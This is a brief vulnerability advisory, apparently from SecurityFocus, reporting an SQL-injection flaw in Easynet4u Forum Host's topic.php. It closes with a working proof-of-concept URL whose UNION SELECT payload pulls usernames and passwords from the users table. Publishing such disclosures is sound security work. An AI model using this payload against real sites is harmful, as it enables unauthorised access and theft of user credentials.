source: http://www.securityfocus.com/bid/38697/info

Easynet4u Forum Host is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/SCRIPT_PATH/topic.php?topic=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6/**/FROM/**/users/*&forum=0 